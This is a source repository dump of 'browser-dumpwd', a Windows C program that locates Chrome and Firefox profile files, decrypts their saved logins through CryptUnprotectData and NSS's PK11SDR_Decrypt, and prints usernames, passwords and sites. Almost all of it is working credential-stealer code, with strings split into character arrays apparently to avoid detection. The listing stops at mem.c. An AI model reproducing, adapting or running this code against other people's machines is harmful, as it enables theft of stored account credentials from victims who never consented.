├── README.md ├── base64.c ├── base64.h ├── browser_dumpwd.sln ├── browser_dumpwd.v12.suo ├── browser_dumpwd.vcxproj ├── browser_dumpwd.vcxproj.filters ├── browser_dumpwd.vcxproj.user ├── chrome.c ├── chrome.h ├── firefox.c ├── firefox.h ├── me.c ├── mem.c ├── mem.h ├── misc.c ├── misc.h ├── parson.c ├── parson.h ├── sqlite3.c └── sqlite3.h /README.md: -------------------------------------------------------------------------------- 1 | # browser-dumpwd 2 | Dump browser passwords(chrome, firefox) with sqlite3 lib. 3 | 4 | # tested 5 | Windows 7, Windows 10 x64 and x86 6 | Chrome, Firefox 7 | 8 | #example 9 | > me.c file 10 | 11 | 12 | ``` 13 | 14 | #include 15 | #include 16 | #include 17 | #include "chrome.h" 18 | #include "firefox.h" 19 | 20 | int main(int argc, char** argv) 21 | { 22 | dump_chrome_passwords(); 23 | dump_firefox_passwords(); 24 | return EXIT_SUCCESS; 25 | } 26 | 27 | ``` 28 | 29 | # contact 30 | 0xdr@protonmail.ch 31 | > Dr. R 32 | -------------------------------------------------------------------------------- /base64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "base64.h" 3 | 4 | const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 5 | 6 | char * 7 | base64_encode(const unsigned char *input, int length) 8 | { 9 | int i = 0, j = 0, s = 0; 10 | unsigned char char_array_3[3], char_array_4[4]; 11 | 12 | int b64len = (length + 2 - ((length + 2) % 3)) * 4 / 3; 13 | char *b64str = (char *)malloc(b64len + 1); 14 | if (b64str == NULL) 15 | return NULL; 16 | 17 | while (length--) { 18 | char_array_3[i++] = *(input++); 19 | if (i == 3) { 20 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 21 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 22 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 23 | char_array_4[3] = char_array_3[2] & 0x3f; 24 | 25 | for (i = 0; i < 4; i++) 26 | b64str[s++] = base64_chars[char_array_4[i]]; 27 | 28 | i = 0; 29 | } 30 | } 31 | if (i) { 32 | for (j = i; j < 3; j++) 33 | char_array_3[j] = '\0'; 34 | 35 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 36 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 37 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 38 | char_array_4[3] = char_array_3[2] & 0x3f; 39 | 40 | for (j = 0; j < i + 1; j++) 41 | b64str[s++] = base64_chars[char_array_4[j]]; 42 | 43 | while (i++ < 3) 44 | b64str[s++] = '='; 45 | } 46 | b64str[b64len] = '\0'; 47 | 48 | return b64str; 49 | } 50 | 51 | BOOL is_base64(unsigned char c) { 52 | return (isalnum(c) || (c == '+') || (c == '/')); 53 | } 54 | 55 | unsigned char * 56 | base64_decode(const char *input, int length, int *outlen) 57 | { 58 | int i = 0; 59 | int j = 0; 60 | int r = 0; 61 | int idx = 0; 62 | unsigned char char_array_4[4], char_array_3[3]; 63 | unsigned char *output = (unsigned char *)malloc(length * 3 / 4); 64 | 65 | while (length-- && input[idx] != '=') { 66 | //skip invalid or padding based chars 67 | if (!is_base64(input[idx])) { 68 | idx++; 69 | continue; 70 | } 71 | char_array_4[i++] = input[idx++]; 72 | if (i == 4) { 73 | for (i = 0; i < 4; i++) 74 | char_array_4[i] = strchr(base64_chars, char_array_4[i]) - base64_chars; 75 | 76 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 77 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 78 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 79 | 80 | for (i = 0; (i < 3); i++) 81 | output[r++] = char_array_3[i]; 82 | i = 0; 83 | } 84 | } 85 | 86 | if (i) { 87 | for (j = i; j <4; j++) 88 | char_array_4[j] = 0; 89 | 90 | for (j = 0; j <4; j++) 91 | char_array_4[j] = strchr(base64_chars, char_array_4[j]) - base64_chars; 92 | 93 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 94 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 95 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 96 | 97 | for (j = 0; (j < i - 1); j++) 98 | output[r++] = char_array_3[j]; 99 | } 100 | 101 | *outlen = r; 102 | 103 | return output; 104 | } -------------------------------------------------------------------------------- /base64.h: -------------------------------------------------------------------------------- 1 | #ifndef _BASE64_H 2 | #define _BASE64_H 3 | 4 | char *base64_encode(const unsigned char *input, int length); 5 | 6 | unsigned char *base64_decode(const char *input, int length, int *outlen); 7 | 8 | BOOL is_base64(unsigned char c); 9 | 10 | #endif -------------------------------------------------------------------------------- /browser_dumpwd.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.40629.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "browser_dumpwd", "browser_dumpwd.vcxproj", "{D56D6158-A631-46E5-9C56-2646268DEE89}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Release|Win32 = Release|Win32 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {D56D6158-A631-46E5-9C56-2646268DEE89}.Debug|Win32.ActiveCfg = Debug|Win32 15 | {D56D6158-A631-46E5-9C56-2646268DEE89}.Debug|Win32.Build.0 = Debug|Win32 16 | {D56D6158-A631-46E5-9C56-2646268DEE89}.Release|Win32.ActiveCfg = Release|Win32 17 | {D56D6158-A631-46E5-9C56-2646268DEE89}.Release|Win32.Build.0 = Release|Win32 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /browser_dumpwd.v12.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wekillpeople/browser-dumpwd/4a15abdfb805b9c606dc9141bbce56f477cccc9c/browser_dumpwd.v12.suo -------------------------------------------------------------------------------- /browser_dumpwd.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {D56D6158-A631-46E5-9C56-2646268DEE89} 15 | Win32Proj 16 | browser_dumpwd 17 | 18 | 19 | 20 | Application 21 | true 22 | v120 23 | Unicode 24 | 25 | 26 | Application 27 | false 28 | v120 29 | true 30 | Unicode 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | true 44 | 45 | 46 | false 47 | 48 | 49 | 50 | 51 | 52 | Level3 53 | Disabled 54 | WIN32;_DEBUG;_CONSOLE;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 55 | 56 | 57 | Console 58 | true 59 | 60 | 61 | 62 | 63 | Level3 64 | 65 | 66 | MaxSpeed 67 | true 68 | true 69 | WIN32;NDEBUG;_CONSOLE;_LIB;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 70 | 71 | 72 | Console 73 | true 74 | true 75 | true 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /browser_dumpwd.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files 61 | 62 | 63 | Header Files 64 | 65 | 66 | -------------------------------------------------------------------------------- /browser_dumpwd.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | -------------------------------------------------------------------------------- /chrome.c: -------------------------------------------------------------------------------- 1 | #ifdef UNICODE 2 | #undef UNICODE 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | #include "sqlite3.h" 16 | #include "mem.h" 17 | #include "misc.h" 18 | #include "chrome.h" 19 | 20 | #pragma comment (lib, "shlwapi.lib") 21 | #pragma comment (lib, "crypt32.lib") 22 | #pragma comment (lib, "Shell32.lib") 23 | 24 | 25 | LPSTR GetChromeProfilePath() 26 | { 27 | char strFormat[] = { '%', 's', '\\', 'G', 'o', 'o', 'g', 'l', 'e', '\\', 'C', 'h', 'r', 'o', 'm', 'e', '\\', 'U', 's', 'e', 'r', ' ', 'D', 'a', 't', 'a', '\\', 'D', 'e', 'f', 'a', 'u', 'l', 't', '\0' }; 28 | LPSTR strPath = (LPSTR)talloc((MAX_PATH + 1)*sizeof(char)); 29 | if (!SHGetSpecialFolderPath(NULL, strPath, CSIDL_LOCAL_APPDATA, FALSE)) 30 | return NULL; 31 | 32 | LPSTR strFullPath = (LPSTR)talloc((MAX_PATH + 1)*sizeof(char)); 33 | _snprintf_s(strFullPath, MAX_PATH, _TRUNCATE, strFormat, strPath); //FIXME: array 34 | 35 | LPSTR strShortPath = (LPSTR)talloc((MAX_PATH + 1)*sizeof(char)); 36 | if (!GetShortPathName(strFullPath, strShortPath, MAX_PATH) || !PathFileExists(strShortPath)) 37 | { 38 | tfree(strShortPath); 39 | strShortPath = NULL; 40 | } 41 | 42 | tfree(strPath); 43 | tfree(strFullPath); 44 | 45 | if (PathFileExistsA(strShortPath)) 46 | return strShortPath; 47 | 48 | return NULL; 49 | } 50 | 51 | LPSTR CrackChrome(PBYTE pass) { 52 | 53 | DATA_BLOB data_in, data_out; 54 | DWORD dwBlobSize; 55 | 56 | CHAR *decrypted; 57 | 58 | data_out.pbData = 0; 59 | data_out.cbData = 0; 60 | data_in.pbData = pass; 61 | 62 | for (dwBlobSize = 128; dwBlobSize <= 2048; dwBlobSize += 16) 63 | { 64 | data_in.cbData = dwBlobSize; 65 | if (CryptUnprotectData(&data_in, NULL, NULL, NULL, NULL, 0, &data_out)) 66 | break; 67 | } 68 | 69 | if (dwBlobSize >= 2048) 70 | return NULL; 71 | 72 | LPSTR strClearData = (LPSTR)talloc((data_out.cbData + 1)*sizeof(char)); 73 | if (!strClearData) 74 | { 75 | LocalFree(data_out.pbData); 76 | printf("chrome crack failed\n"); 77 | return NULL; 78 | } 79 | 80 | //FIXFIXFIXFIX 81 | 82 | decrypted = (LPSTR)talloc((data_out.cbData + 1)*sizeof(char)); 83 | memset(decrypted, 0, data_out.cbData); 84 | memcpy(decrypted, data_out.pbData, data_out.cbData); 85 | 86 | sprintf_s(strClearData, data_out.cbData + 1, "%s", decrypted); 87 | 88 | LocalFree(data_out.pbData); 89 | tfree(decrypted); 90 | return strClearData; 91 | } 92 | 93 | int chrome_worker(PVOID lpReserved, int dwColumns, LPSTR *strValues, LPSTR *strNames) 94 | { 95 | LPSTR strResource = NULL; 96 | LPSTR strUser = NULL; 97 | LPSTR strPass = NULL; 98 | 99 | CHAR strOrigin[] = { 'o', 'r', 'i', 'g', 'i', 'n', '_', 'u', 'r', 'l', 0x0 }; 100 | CHAR strUserVal[] = { 'u', 's', 'e', 'r', 'n', 'a', 'm', 'e', '_', 'v', 'a', 'l', 'u', 'e', 0x0 }; 101 | CHAR strPassVal[] = { 'p', 'a', 's', 's', 'w', 'o', 'r', 'd', '_', 'v', 'a', 'l', 'u', 'e', 0x0 }; 102 | 103 | CHAR strChrome[] = { 'C', 'h', 'r', 'o', 'm', 'e', 0x0 }; 104 | for (DWORD i = 0; i < dwColumns; i++) 105 | { 106 | 107 | if (!strNames[i]) 108 | continue; 109 | 110 | if (!strcmp(strNames[i], strOrigin)) 111 | { 112 | strResource = (LPSTR)talloc(1024 * sizeof(char)); 113 | //sprintf_s(strResource, 1024, "%S", strValues[i]); 114 | sprintf_s(strResource, 1024, "%s", strValues[i]); 115 | 116 | } 117 | else if (!strcmp(strNames[i], strUserVal)) 118 | { 119 | strUser = (LPSTR)talloc(1024 * sizeof(char)); 120 | sprintf_s(strUser, 1024, "%s", strValues[i]); 121 | } 122 | else if (!strcmp(strNames[i], strPassVal)){ 123 | 124 | strPass = CrackChrome((PBYTE)strValues[i]); 125 | } 126 | } 127 | 128 | if (strResource && strUser && strPass && strlen(strResource) && strlen(strUser)) 129 | { 130 | printf("CHROME => uname: %s\tpwd: %s\tsite: %s\n", strUser, strPass, strResource); 131 | } 132 | 133 | tfree(strResource); 134 | tfree(strUser); 135 | tfree(strPass); 136 | return 0; 137 | } 138 | 139 | VOID dump_chromesql_pass() 140 | { 141 | LPSTR strProfilePath = GetChromeProfilePath(); 142 | if (!strProfilePath) 143 | return; 144 | 145 | DWORD dwSize = strlen(strProfilePath) + 1024; 146 | LPSTR strFilePath = (LPSTR)talloc(dwSize); 147 | 148 | SetCurrentDirectory(strProfilePath); 149 | CopyFile("Login Data", "templogin", 0); 150 | 151 | CHAR strFileName[] = { 't', 'e', 'm', 'p', 'l', 'o', 'g', 'i', 'n', 0x0 }; 152 | _snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName); 153 | 154 | sqlite3 *lpDb = NULL; 155 | if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK) 156 | { 157 | sqlite3_busy_timeout(lpDb, 5000); 158 | CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'l', 'o', 'g', 'i', 'n', 's', ';', 0x0 }; 159 | sqlite3_exec(lpDb, strQuery, chrome_worker, 0, NULL); 160 | 161 | sqlite3_close(lpDb); 162 | } 163 | 164 | DeleteFile("templogin"); 165 | tfree(strFilePath); 166 | tfree(strProfilePath); 167 | } 168 | 169 | 170 | VOID dump_chrome_passwords() 171 | { 172 | dump_chromesql_pass(); 173 | } 174 | -------------------------------------------------------------------------------- /chrome.h: -------------------------------------------------------------------------------- 1 | #ifndef __CHROME__ 2 | #define __CHROME__ 3 | 4 | VOID dump_chrome_passwords(); 5 | 6 | #endif // __CHROME -------------------------------------------------------------------------------- /firefox.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "mem.h" 10 | #include "base64.h" 11 | #include "sqlite3.h" 12 | #include "parson.h" 13 | #include "misc.h" 14 | #include "firefox.h" 15 | 16 | 17 | NSS_Init_p fpNSS_Init = NULL; 18 | NSS_Shutdown_p fpNSS_Shutdown = NULL; 19 | PL_ArenaFinish_p fpPL_ArenaFinish = NULL; 20 | PR_Cleanup_p fpPR_Cleanup = NULL; 21 | PK11_GetInternalKeySlot_p fpPK11_GetInternalKeySlot = NULL; 22 | PK11_FreeSlot_p fpPK11_FreeSlot = NULL; 23 | PK11SDR_Decrypt_p fpPK11SDR_Decrypt = NULL; 24 | 25 | char g_ver[20]; 26 | 27 | HMODULE moduleNSS; 28 | 29 | char *installPath(){ 30 | DWORD cbSize; 31 | char value[MAX_PATH]; 32 | char *path = "SOFTWARE\\Mozilla\\Mozilla Firefox"; 33 | 34 | cbSize = MAX_PATH; 35 | if (!SHGetValueA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Mozilla\\Mozilla Firefox", "CurrentVersion", 0, value, &cbSize)){ 36 | path = dupcat(path, "\\", value, "\\Main", 0); 37 | strcpy(g_ver, value); 38 | cbSize = MAX_PATH; 39 | if (!SHGetValueA(HKEY_LOCAL_MACHINE, path, "Install Directory", 0, value, &cbSize)){ 40 | int size = strlen(value) + 1; 41 | char *ret = (char *)calloc(size, 1); 42 | memcpy(ret, value, size); 43 | free(path); 44 | return ret; 45 | } 46 | } 47 | 48 | return 0; 49 | } 50 | 51 | LPSTR GetFirefoxProfilePath() 52 | { 53 | // FIXFIXFIX ARRAYARRAYARRAY 54 | LPSTR strAppData = (LPSTR)talloc(MAX_PATH + 1); 55 | SHGetSpecialFolderPathA(NULL, strAppData, CSIDL_APPDATA, TRUE); 56 | 57 | LPSTR strIniPath = (LPSTR)talloc(MAX_PATH + 1); 58 | sprintf_s(strIniPath, MAX_PATH, "%s\\Mozilla\\Firefox\\profiles.ini", strAppData); 59 | 60 | LPSTR strRelativePath = (LPSTR)talloc(MAX_PATH + 1); 61 | GetPrivateProfileStringA("Profile0", "Path", "", strRelativePath, MAX_PATH, strIniPath); 62 | 63 | LPSTR strFullPath = (LPSTR)talloc(MAX_PATH + 1); 64 | sprintf_s(strFullPath, MAX_PATH, "%s\\Mozilla\\Firefox\\%s", strAppData, strRelativePath); 65 | 66 | LPSTR strShortPath = (LPSTR)talloc(MAX_PATH + 1); 67 | GetShortPathNameA(strFullPath, strShortPath, MAX_PATH); 68 | 69 | tfree(strAppData); 70 | tfree(strIniPath); 71 | tfree(strRelativePath); 72 | tfree(strFullPath); 73 | 74 | if (!PathFileExistsA(strShortPath)) 75 | { 76 | tfree(strShortPath); 77 | return NULL; 78 | } 79 | return strShortPath; 80 | } 81 | 82 | 83 | LPSTR DecryptString(LPSTR strCryptData) 84 | { 85 | if (strCryptData[0] == 0x0) 86 | return FALSE; 87 | 88 | DWORD dwOut; 89 | LPSTR strClearData; 90 | LPBYTE lpBuffer = base64_decode((char*)strCryptData, strlen(strCryptData), (int *)&dwOut); 91 | PK11SlotInfo *pK11Slot = fpPK11_GetInternalKeySlot(); 92 | if (pK11Slot) 93 | { 94 | SECItem pInSecItem, pOutSecItem;; 95 | pInSecItem.data = lpBuffer; 96 | pInSecItem.len = dwOut; 97 | 98 | pOutSecItem.data = 0; 99 | pOutSecItem.len = 0; 100 | 101 | if (fpPK11SDR_Decrypt(&pInSecItem, &pOutSecItem, NULL) == 0) 102 | { 103 | strClearData = (LPSTR)talloc(pOutSecItem.len + 1); 104 | memcpy(strClearData, pOutSecItem.data, pOutSecItem.len); 105 | } 106 | 107 | fpPK11_FreeSlot(pK11Slot); 108 | } 109 | 110 | 111 | tfree(lpBuffer); 112 | return strClearData; 113 | } 114 | 115 | VOID decrypt_firefox_json() 116 | { 117 | HANDLE hFile, hMap; 118 | DWORD loginSize = 0; 119 | CHAR *loginMap, *localLoginMap; 120 | JSON_Value *root_value; 121 | JSON_Array *logins; 122 | JSON_Object *root_object; 123 | JSON_Object *commit; 124 | 125 | CHAR strLogins[] = { 'l', 'o', 'g', 'i', 'n', 's', '\0' }; 126 | CHAR strURL[] = { 'h', 'o', 's', 't', 'n', 'a', 'm', 'e', '\0' }; 127 | CHAR strUser[] = { 'e', 'n', 'c', 'r', 'y', 'p', 't', 'e', 'd', 'U', 's', 'e', 'r', 'n', 'a', 'm', 'e', '\0' }; 128 | CHAR strPass[] = { 'e', 'n', 'c', 'r', 'y', 'p', 't', 'e', 'd', 'P', 'a', 's', 's', 'w', 'o', 'r', 'd', '\0' }; 129 | CHAR strFileName[] = { 'l', 'o', 'g', 'i', 'n', 's', '.', 'j', 's', 'o', 'n', 0x0 }; 130 | CHAR strFirefox[] = { 'F', 'i', 'r', 'e', 'f', 'o', 'x', 0x0 }; 131 | 132 | LPSTR strUserDecrypted, strPasswordDecrypted; 133 | CHAR tmp_buff[255]; 134 | CHAR* tmp_file; 135 | LPSTR strProfilePath = GetFirefoxProfilePath(); 136 | tmp_file = dupcat(strProfilePath, "\\", strFileName, NULL); 137 | 138 | if ((hFile = CreateFileA(tmp_file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) == INVALID_HANDLE_VALUE) 139 | { 140 | free(tmp_file); 141 | tfree(strProfilePath); 142 | return; 143 | } 144 | 145 | loginSize = GetFileSize(hFile, NULL); 146 | if (loginSize == INVALID_FILE_SIZE) 147 | { 148 | CloseHandle(hFile); 149 | free(tmp_file); 150 | tfree(strProfilePath); 151 | return; 152 | } 153 | 154 | localLoginMap = (CHAR*)calloc(loginSize + 1, sizeof(CHAR)); 155 | if (localLoginMap == NULL) 156 | { 157 | CloseHandle(hFile); 158 | free(tmp_file); 159 | tfree(strProfilePath); 160 | return; 161 | } 162 | 163 | if ((hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == NULL) 164 | { 165 | tfree(localLoginMap); 166 | CloseHandle(hFile); 167 | free(tmp_file); 168 | tfree(strProfilePath); 169 | return; 170 | } 171 | 172 | if ((loginMap = (CHAR*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) == NULL) 173 | { 174 | CloseHandle(hMap); 175 | tfree(localLoginMap); 176 | CloseHandle(hFile); 177 | free(tmp_file); 178 | tfree(strProfilePath); 179 | } 180 | 181 | memcpy_s(localLoginMap, loginSize + 1, loginMap, loginSize); 182 | 183 | // parse time 184 | 185 | root_value = json_parse_string(localLoginMap); 186 | 187 | if (root_value == NULL) { 188 | return; 189 | } 190 | 191 | root_object = json_value_get_object(root_value); 192 | logins = json_object_get_array(root_object, "logins"); 193 | 194 | if (logins == NULL) { 195 | return; 196 | } 197 | 198 | //commit = json_array_get_object(logins, 1); 199 | 200 | for (size_t i = 0; i < json_array_get_count(logins); i++) { 201 | 202 | commit = json_array_get_object(logins, i); 203 | 204 | sprintf_s(tmp_buff, 255, "%s", json_object_get_string(commit, strUser)); 205 | strUserDecrypted = DecryptString(tmp_buff); 206 | sprintf_s(tmp_buff, 255, "%s", json_object_get_string(commit, strPass)); 207 | strPasswordDecrypted = DecryptString(tmp_buff); 208 | 209 | printf("FIREFOX => uname: %s\tpwd: %s\tsite: %s\n", strUserDecrypted, strPasswordDecrypted, json_object_get_string(commit, strURL)); 210 | 211 | free(strUserDecrypted); 212 | free(strPasswordDecrypted); 213 | 214 | } 215 | 216 | //char *name = NULL; 217 | //name = json_serialize_to_string_pretty(root_value); 218 | //MessageBoxA(NULL, name, "", MB_OK); 219 | //json_free_serialized_string(name); 220 | 221 | json_value_free(root_value); 222 | UnmapViewOfFile(loginMap); 223 | CloseHandle(hMap); 224 | CloseHandle(hFile); 225 | 226 | free(tmp_file); 227 | } 228 | 229 | int firefox_worker(LPVOID lpReserved, int dwColumns, LPSTR *strValues, LPSTR *strNames) 230 | { 231 | LPSTR strResource = NULL; 232 | LPSTR strUser = NULL; 233 | LPSTR strPass = NULL; 234 | 235 | for (DWORD i = 0; i < dwColumns; i++) 236 | { 237 | if (!strNames[i]) 238 | continue; 239 | 240 | if (!strcmp(strNames[i], "hostname")) 241 | { 242 | strResource = (LPSTR)talloc(1024 * sizeof(char)); 243 | sprintf_s(strResource, 1024, "%s", strValues[i]); 244 | } 245 | else if (!strcmp(strNames[i], "encryptedUsername")) 246 | strUser = DecryptString(strValues[i]); 247 | else if (!strcmp(strNames[i], "encryptedPassword")) 248 | strPass = DecryptString(strValues[i]); 249 | } 250 | 251 | if (strUser && strPass) 252 | { 253 | printf("FIREFOX => uname: %s\tpwd: %s\tsite: %s\n", strUser, strPass, strResource); 254 | } 255 | 256 | tfree(strResource); 257 | tfree(strUser); 258 | tfree(strPass); 259 | return 0; 260 | } 261 | 262 | VOID decrypt_firefox_sql() 263 | { 264 | LPSTR strProfilePath = GetFirefoxProfilePath(); 265 | 266 | if (!strProfilePath) 267 | return; 268 | 269 | DWORD dwSize = strlen(strProfilePath) + 1024; 270 | LPSTR strFilePath = (LPSTR)talloc(dwSize); 271 | CHAR strFileName[] = { 's', 'i', 'g', 'n', 'o', 'n', 's', '.', 's', 'q', 'l', 'i', 't', 'e', 0x0 }; 272 | sprintf_s(strFilePath, dwSize, "%s\\%s", strProfilePath, strFileName); 273 | 274 | sqlite3 *lpDb = NULL; 275 | if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK) 276 | { 277 | sqlite3_exec(lpDb, "SELECT * FROM moz_logins;", firefox_worker, 0, NULL); // FIXME: char array 278 | sqlite3_close(lpDb); 279 | } 280 | 281 | 282 | tfree(strFilePath); 283 | tfree(strProfilePath); 284 | } 285 | 286 | BOOL init_firefox_api(){ 287 | char *dlpath = installPath(); 288 | char *path = getenv("PATH"); 289 | if (path){ 290 | char *newPath = dupcat(path, ";", dlpath, 0); 291 | _putenv(dupcat("PATH=", newPath, 0)); 292 | free(newPath); 293 | } 294 | moduleNSS = LoadLibraryA((dupcat(dlpath, "\\nss3.dll", 0))); 295 | 296 | 297 | if (moduleNSS){ 298 | 299 | fpNSS_Init = (NSS_Init_p)GetProcAddress(moduleNSS, "NSS_Init"); //FIXME: array 300 | fpNSS_Shutdown = (NSS_Shutdown_p)GetProcAddress(moduleNSS, "NSS_Shutdown"); //FIXME: array 301 | fpPL_ArenaFinish = (PL_ArenaFinish_p)GetProcAddress(moduleNSS, "PL_ArenaFinish"); //FIXME: array 302 | fpPR_Cleanup = (PR_Cleanup_p)GetProcAddress(moduleNSS, "PR_Cleanup"); //FIXME: array 303 | fpPK11_GetInternalKeySlot = (PK11_GetInternalKeySlot_p)GetProcAddress(moduleNSS, "PK11_GetInternalKeySlot"); //FIXME: array 304 | fpPK11_FreeSlot = (PK11_FreeSlot_p)GetProcAddress(moduleNSS, "PK11_FreeSlot"); //FIXME: array 305 | fpPK11SDR_Decrypt = (PK11SDR_Decrypt_p)GetProcAddress(moduleNSS, "PK11SDR_Decrypt"); //FIXME: array 306 | 307 | if (!fpNSS_Init || !fpNSS_Shutdown || !fpPL_ArenaFinish || !fpPR_Cleanup || !fpPK11_GetInternalKeySlot || !fpPK11_FreeSlot || !fpPK11SDR_Decrypt) 308 | return FALSE; 309 | 310 | return TRUE; 311 | } 312 | return FALSE; 313 | } 314 | 315 | VOID UnloadFirefoxLibs() 316 | { 317 | if (moduleNSS && fpNSS_Shutdown && fpPL_ArenaFinish && fpPR_Cleanup) 318 | { 319 | fpNSS_Shutdown(); 320 | fpPL_ArenaFinish(); 321 | fpPR_Cleanup(); 322 | 323 | FreeLibrary(moduleNSS); 324 | } 325 | } 326 | 327 | VOID dump_firefox_passwords() 328 | { 329 | if (!init_firefox_api()) 330 | { 331 | printf("firefox error\n"); 332 | return; 333 | } 334 | 335 | LPSTR strProfilePath = GetFirefoxProfilePath(); 336 | DWORD dwRet = fpNSS_Init(strProfilePath); 337 | 338 | decrypt_firefox_json(); 339 | decrypt_firefox_sql(); 340 | 341 | UnloadFirefoxLibs(); 342 | } 343 | -------------------------------------------------------------------------------- /firefox.h: -------------------------------------------------------------------------------- 1 | #ifndef __FIREFOX__ 2 | #define __FIREFOX__ 3 | 4 | #define NOMINMAX 5 | #define PRBool int 6 | #define PRUint32 unsigned int 7 | #define PR_TRUE 1 8 | #define PR_FALSE 0 9 | 10 | 11 | typedef struct PK11SlotInfoStr PK11SlotInfo; 12 | 13 | 14 | typedef enum _SECItemType 15 | { 16 | siBuffer = 0, 17 | siClearDataBuffer = 1, 18 | siCipherDataBuffer = 2, 19 | siDERCertBuffer = 3, 20 | siEncodedCertBuffer = 4, 21 | siDERNameBuffer = 5, 22 | siEncodedNameBuffer = 6, 23 | siAsciiNameString = 7, 24 | siAsciiString = 8, 25 | siDEROID = 9, 26 | siUnsignedInteger = 10, 27 | siUTCTime = 11, 28 | siGeneralizedTime = 12 29 | }SECItemType; 30 | 31 | typedef struct _SECItem 32 | { 33 | SECItemType type; 34 | unsigned char *data; 35 | unsigned int len; 36 | }SECItem; 37 | 38 | typedef enum _SECStatus { 39 | SECWouldBlock = -2, 40 | SECFailure = -1, 41 | SECSuccess = 0 42 | }SECStatus; 43 | 44 | typedef DWORD(__cdecl *NSS_Init_p)(LPSTR strProfilePath); 45 | typedef DWORD(__cdecl *NSS_Shutdown_p)(); 46 | typedef DWORD(__cdecl *PL_ArenaFinish_p)(); 47 | typedef DWORD(__cdecl *PR_Cleanup_p)(); 48 | typedef PK11SlotInfo *(__cdecl *PK11_GetInternalKeySlot_p)(); 49 | typedef DWORD(__cdecl *PK11_FreeSlot_p)(PK11SlotInfo*); 50 | typedef DWORD(__cdecl *PK11SDR_Decrypt_p)(SECItem *pData, SECItem *pResult, LPVOID cx); 51 | 52 | VOID dump_firefox_passwords(); 53 | 54 | #endif -------------------------------------------------------------------------------- /me.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "chrome.h" 5 | #include "firefox.h" 6 | 7 | int main(int argc, char** argv) 8 | { 9 | dump_chrome_passwords(); 10 | dump_firefox_passwords(); 11 | return EXIT_SUCCESS; 12 | } -------------------------------------------------------------------------------- /mem.c: 